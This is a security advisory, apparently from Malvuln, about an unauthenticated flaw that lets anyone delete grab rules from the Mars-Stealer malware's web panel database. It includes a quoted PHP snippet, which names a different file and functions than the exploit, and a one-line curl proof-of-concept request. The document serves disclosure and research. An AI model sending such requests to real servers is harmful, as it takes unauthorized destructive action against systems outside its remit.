Tuesday, January 18, 2022

Win32.MarsStealer Web Panel Unauthenticated Remote Data Deletion

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa_C.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Win32.MarsStealer Web Panel
Vulnerability: Unauthenticated Remote Data Deletion
Description: The Mars-Stealer web interface has a "Grab Rules" component area that lets a user specify which type of files to collect from a system as specified in the "grab_manual.txt" manual. Third-party attackers who can reach the Mars-Stealer server can send an HTTP POST request to delete any grab rule from the "mars" MySQL database grabrule table.

PHP code snippet "markeractions.php"

require_once '../../db.php';

switch (trim($_POST['func'])) {
case "markeradd":
markeradd();
break;
case "markerdelete":
markerdelete();
break;
case "markeractive":
markeractive();
break;
}

Type: WebUI
MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe)
MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php)
Vuln ID: MVID-2022-0453
Disclosure: 01/15/2022

Exploit/PoC:
c:/>curl http://MARS_STEALER_SERVER/mars/panel/includes/grabactions.php --data "func=grabdelete&id=1"
"deleted"

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore